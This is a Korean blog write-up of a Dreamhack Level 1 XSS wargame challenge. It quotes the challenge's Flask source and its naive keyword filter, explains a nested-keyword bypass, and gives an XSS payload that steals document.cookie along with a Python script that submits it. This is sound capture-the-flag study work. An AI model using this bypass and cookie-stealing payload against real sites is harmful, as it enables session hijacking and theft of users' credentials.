https://dreamhack.io/wargame/challenges/433/
난이도: Level 1
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
flag 페이지에서 POST 방식으로 전송을 하면 cookie에 FLAG 값을 저장하여 넘기고 있는 것을 확인할 수 있습니다. xss_filter 함수에서는 "script", "on", "javascript" 를 "" 으로 변환합니다.
이와 같이, 키워드를 공백으로 처리하는 구문에서는 흔히 scrscriptipt 와 같은 형식으로 입력을 주면 이를 우회가 가능합니다.
가장 기본이 되는 XSS 방식인 <script>location.href="주소?param="+document.cookie</script> 에서 위에서 설명했던 내용을 기반으로 스크립트를 작성해보면 이와 같이 우회할 수 있습니다.
<scrscriptipt>locatioonn.href="/memo?memo="+document.cookie;</scrscriptipt>
= <script>location.href="/memo?memo="+document.cookie;</script>
Exploit Code
import requests
url = 'http://host3.dreamhack.games:11281/flag'
data = {"param": '<scrscriptipt>locatioonn.href="/memo?memo="+document.cookie;</scrscriptipt>'}
r = requests.post(url=url, data=data)
print(r.text)
'DreamHack' 카테고리의 다른 글
[DreamHack] web-ssrf (0) | 2023.06.17 |
---|---|
[DreamHack] login-1 (0) | 2023.06.17 |
[DreamHack] baby-sqlite (0) | 2023.06.15 |
[DreamHack] Command Injection Advanced (0) | 2023.06.13 |
[DreamHack] out_of_bound (0) | 2023.06.09 |